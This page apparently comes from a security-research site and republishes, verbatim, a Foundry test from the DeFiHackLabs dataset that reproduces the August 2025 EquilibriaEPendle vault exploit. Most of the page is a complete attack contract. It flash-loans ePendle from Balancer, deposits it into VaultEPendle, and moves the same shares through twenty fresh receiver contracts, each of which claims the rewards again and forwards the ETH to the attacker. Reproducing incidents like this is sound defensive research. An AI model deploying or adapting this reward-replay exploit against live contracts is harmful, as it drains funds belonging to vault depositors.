Public reproduction file
src/test/2025-08/EquilibriaEPendle_exp.sol
Public reproduction file for dataset entry EquilibriaEPendle.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 62,661.57 USD8// Attacker : 0x4DCCc719f277eBeB8F7fdB68cD4b105E5bC325db9// Attack Contract : 0x0A2d023b1EcFbFb091464ADEbc852e19E0F02E6b10// Vulnerable Contract : 0x615b0B54e585ab83ba1c94a734cd4499dEc1C95611// Attack Tx : https://etherscan.io/tx/0x185a16017fb4d9b2fefdf5935435253d53d4758238275426b507fe54eb4fe97a12// Related Tx : https://etherscan.io/tx/0xc16984edf1ac3e50f1a10842310c7ab3983ab0d1f9f5eb6fb859a59e416048f813// Related Tx : https://etherscan.io/tx/0x0a60d7fb1d459ebee1ddcd62d1a8fcb8faa9aa1ebbb3203f90bea7dd888af8aa14//15// @Info16// Vulnerable Contract Code : https://etherscan.io/address/0x615b0B54e585ab83ba1c94a734cd4499dEc1C956#code17//18// @Analysis19// Twitter Guy : https://t.me/defimon_alerts/171220//21// Attack summary: The attacker flash-loaned ePendle, deposited it into VaultEPendle, and repeatedly moved the same22// stk-ePendle shares into fresh receiver contracts. Each fresh receiver claimed historical native-token rewards and23// forwarded the ETH to the attacker before the shares were pulled back.24// Root cause: VaultEPendle did not update reward debt on ERC20 share transfers, and public getReward(address)25// recomputed rewards for arbitrary fresh receiver accounts.27address constant ATTACKER = 0x4DCCc719f277eBeB8F7fdB68cD4b105E5bC325db;28address constant ATTACK_CONTRACT = 0x0A2d023b1EcFbFb091464ADEbc852e19E0F02E6b;29address constant VAULT_EPENDLE_PROXY = 0xd30d6fD662c0d92B49F3C3E478e125BA1D968059;30address constant VAULT_EPENDLE_IMPLEMENTATION = 0x615b0B54e585ab83ba1c94a734cd4499dEc1C956;31address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;32address payable constant WETH_TOKEN = payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);33address constant PENDLE = 0x808507121B80c02388fAd14726482e061B8da827;34address constant EPENDLE = 0x22Fc5A29bd3d6CCe19a06f844019fd506fCe4455;35address constant EQB = 0xfE80D611c6403f70e5B1b9B722D2B3510B740B2B;36address constant XEQB = 0xd6eCfD0d5f1Dfd3ad30f267a3a29b3E1bC4fd54f;37address constant EPENDLE_DEPOSITOR = 0xa94603c910A95e0cC5a70b84558e21E711342D63;39bytes32 constant WETH_PENDLE_POOL_ID = 0xfd1cf6fd41f229ca86ada0584c63c49c3d66bbc9000200000000000000000438;41interface IEquilibriaVault is IERC20 {42 function depositAll() external returns (uint256);43 function withdrawAll() external returns (uint256);44 function getReward(45 address account46 ) external;47 function harvest() external;48}50interface IEPendleDepositor {51 function deposit(52 uint256 amount53 ) external returns (uint256);54}56interface IBalancerFlashLoanRecipient {57 function receiveFlashLoan(58 address[] memory tokens,59 uint256[] memory amounts,60 uint256[] memory feeAmounts,61 bytes memory userData62 ) external;63}65contract ContractTest is BaseTestWithBalanceLog {66 function setUp() public {67 uint256 forkBlock = 23_203_451;68 vm.createSelectFork("mainnet", forkBlock);70 attacker = ATTACKER;71 fundingToken = address(0);73 vm.label(ATTACKER, "Attacker");74 vm.label(ATTACK_CONTRACT, "Historical Attack Executor");75 vm.label(VAULT_EPENDLE_PROXY, "VaultEPendle Proxy");76 vm.label(VAULT_EPENDLE_IMPLEMENTATION, "VaultEPendle Implementation");77 vm.label(BALANCER_VAULT, "Balancer Vault");78 vm.label(EPENDLE, "ePendle");79 vm.label(VAULT_EPENDLE_PROXY, "stk-ePendle");80 vm.label(EQB, "EQB");81 vm.label(XEQB, "xEQB");82 }84 function testExploit() public balanceLog {85 vm.deal(ATTACKER, 0.01 ether);86 uint256 attackerEthBefore = ATTACKER.balance;87 uint256 vaultEthBefore = VAULT_EPENDLE_PROXY.balance;89 // step 1: deploy a local executor with the same ETH seed used by the initcode transaction.90 vm.startPrank(ATTACKER);91 EquilibriaEPendleAttacker localAttack = new EquilibriaEPendleAttacker{value: 0.01 ether}(payable(ATTACKER));92 vm.label(address(localAttack), "Local Attack Executor");94 // step 2: seed ePendle, enter VaultEPendle, cycle fresh reward receivers, and repay Balancer.95 localAttack.execute();96 vm.stopPrank();98 // step 3: prove the repeated native reward claim drained the vault to the attacker's receiver.99 uint256 attackerEthProfit = ATTACKER.balance - attackerEthBefore;100 assertGt(attackerEthProfit, 13 ether, "native ETH profit");101 assertLt(VAULT_EPENDLE_PROXY.balance, vaultEthBefore - 13 ether, "vault native ETH not drained");102 }103}105contract EquilibriaEPendleAttacker is IBalancerFlashLoanRecipient {106 address payable private immutable profitReceiver;108 constructor(109 address payable profitReceiver_110 ) payable {111 profitReceiver = profitReceiver_;112 }114 receive() external payable {}116 function execute() external {117 // step 1: convert the small ETH seed into PENDLE and deposit it as ePendle.118 uint256 seedEth = address(this).balance;119 IWETH(WETH_TOKEN).deposit{value: seedEth}();120 IERC20(WETH_TOKEN).approve(BALANCER_VAULT, seedEth);122 uint256 pendleOut = _balancerSwap(WETH_TOKEN, PENDLE, seedEth);123 IERC20(PENDLE).approve(EPENDLE_DEPOSITOR, pendleOut);124 IEPendleDepositor(EPENDLE_DEPOSITOR).deposit(pendleOut);126 // step 2: harvest once so VaultEPendle holds the native rewards that will be repeatedly claimed.127 IEquilibriaVault(VAULT_EPENDLE_PROXY).harvest();129 // step 3: borrow the Balancer ePendle liquidity used to mint a large stk-ePendle share balance.130 address[] memory tokens = new address[](1);131 tokens[0] = EPENDLE;132 uint256[] memory amounts = new uint256[](1);133 amounts[0] = IERC20(EPENDLE).balanceOf(BALANCER_VAULT);134 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");135 }137 function receiveFlashLoan(138 address[] memory tokens,139 uint256[] memory amounts,140 uint256[] memory feeAmounts,141 bytes memory142 ) external {143 require(msg.sender == BALANCER_VAULT, "not balancer");144 require(tokens.length == 1 && tokens[0] == EPENDLE, "unexpected flash loan");146 // step 4: deposit all ePendle and derive the trace's repeated share amount from this contract's balance.147 IERC20(EPENDLE).approve(VAULT_EPENDLE_PROXY, type(uint256).max);148 IEquilibriaVault(VAULT_EPENDLE_PROXY).depositAll();149 uint256 shareAmount = IERC20(VAULT_EPENDLE_PROXY).balanceOf(address(this));151 // step 5: each fresh receiver has zero reward debt, so the same transferred shares can claim again.152 for (uint256 i = 0; i < 20; i++) {153 RewardReceiver receiver = new RewardReceiver(profitReceiver);154 IERC20(VAULT_EPENDLE_PROXY).transfer(address(receiver), shareAmount);155 IEquilibriaVault(VAULT_EPENDLE_PROXY).getReward(address(receiver));156 IERC20(VAULT_EPENDLE_PROXY).transferFrom(address(receiver), address(this), shareAmount);157 receiver.exit();158 }160 // step 6: withdraw ePendle and return the flash loan.161 IEquilibriaVault(VAULT_EPENDLE_PROXY).withdrawAll();162 IERC20(EPENDLE).transfer(BALANCER_VAULT, amounts[0] + feeAmounts[0]);163 }165 function _balancerSwap(166 address tokenIn,167 address tokenOut,168 uint256 amountIn169 ) private returns (uint256 amountOut) {170 IBalancerVault.SingleSwap memory singleSwap = IBalancerVault.SingleSwap({171 poolId: WETH_PENDLE_POOL_ID,172 kind: IBalancerVault.SwapKind.GIVEN_IN,173 assetIn: tokenIn,174 assetOut: tokenOut,175 amount: amountIn,176 userData: ""177 });178 IBalancerVault.FundManagement memory funds = IBalancerVault.FundManagement({179 sender: address(this),180 fromInternalBalance: false,181 recipient: payable(address(this)),182 toInternalBalance: false183 });185 amountOut = IBalancerVault(BALANCER_VAULT).swap(singleSwap, funds, 0, block.timestamp);186 }187}189contract RewardReceiver {190 address payable private immutable profitReceiver;192 constructor(193 address payable profitReceiver_194 ) {195 profitReceiver = profitReceiver_;196 IERC20(VAULT_EPENDLE_PROXY).approve(msg.sender, type(uint256).max);197 }199 receive() external payable {200 (bool success,) = profitReceiver.call{value: msg.value}("");201 require(success, "eth forward failed");202 }204 function exit() external {205 IERC20(XEQB).transfer(VAULT_EPENDLE_PROXY, IERC20(XEQB).balanceOf(address(this)));206 IERC20(EQB).transfer(VAULT_EPENDLE_PROXY, IERC20(EQB).balanceOf(address(this)));207 }208}Analysis
Dataset entry
Public Foundry test for “EquilibriaEPendle” (2025-08-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-08/0x8d2e_exp.solSame month in the dataset · 45 lines
- src/test/2025-08/0xf340_exp.solSame month in the dataset · 72 lines
- src/test/2025-08/ABCCApp_exp.solSame month in the dataset · 111 lines
- src/test/2025-08/ArbitrumBaseSwapper_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/AutoPooledTradingBot_exp.solSame month in the dataset · 140 lines
- src/test/2025-08/BaseBebopSettlement_exp.solSame month in the dataset · 128 lines
- src/test/2025-08/Bebop_dex_exp.solSame month in the dataset · 136 lines
- src/test/2025-08/BeefyZapRouter_exp.solSame month in the dataset · 131 lines
- src/test/2025-08/BscInitcodeToken_exp.solSame month in the dataset · 186 lines
- src/test/2025-08/coinbase_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/d3xai_exp.solSame month in the dataset · 221 lines
- src/test/2025-08/Grizzifi_exp.solSame month in the dataset · 101 lines
- src/test/2025-08/Hexotic_exp.solSame month in the dataset · 62 lines
- src/test/2025-08/MulticallWithXera_exp.solSame month in the dataset · 107 lines
- src/test/2025-08/MyCoinMaster_exp.solSame month in the dataset · 74 lines
- src/test/2025-08/PDZ_exp.solSame month in the dataset · 85 lines
- src/test/2025-08/PendleReflector_exp.solSame month in the dataset · 203 lines
- src/test/2025-08/PresaleV5_exp.solSame month in the dataset · 261 lines
- src/test/2025-08/SizeCredit_exp.solSame month in the dataset · 176 lines
- src/test/2025-08/SizeFlashLoanLooping_exp.solSame month in the dataset · 196 lines
- src/test/2025-08/unverified_d132_exp.solSame month in the dataset · 207 lines
- src/test/2025-08/unverified_6f7a_exp.solSame month in the dataset · 229 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x4dccc719f277ebeb8f7fdb68cd4b105e5bc325db
- Attack Contract
0x0a2d023b1ecfbfb091464adebc852e19e0f02e6b
- Vulnerable Contract
0x615b0b54e585ab83ba1c94a734cd4499dec1c956
- Attack Tx
0x185a16017fb4d9b2fefdf5935435253d53d4758238275426b507fe54eb4fe97a
- Twitter: https://t.me/defimon_alerts/1712
- Explorer: https://etherscan.io/tx/0xc16984edf1ac3e50f1a10842310c7ab3983ab0d1f9f5eb6fb859a59e416048f8
- Explorer: https://etherscan.io/tx/0x0a60d7fb1d459ebee1ddcd62d1a8fcb8faa9aa1ebbb3203f90bea7dd888af8aa
- Explorer: https://etherscan.io/address/0x615b0B54e585ab83ba1c94a734cd4499dEc1C956#code
File record
- Name
- EquilibriaEPendle
- Path
- src/test/2025-08/EquilibriaEPendle_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- cc02e90ccd290a8d719fa46b12c3060805036ba4
- Language
- Solidity
- Size
- 209 lines
- Date
- 2025-08-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-08/EquilibriaEPendle_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob cc02e90ccd290a8d719fa46b12c3060805036ba4, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.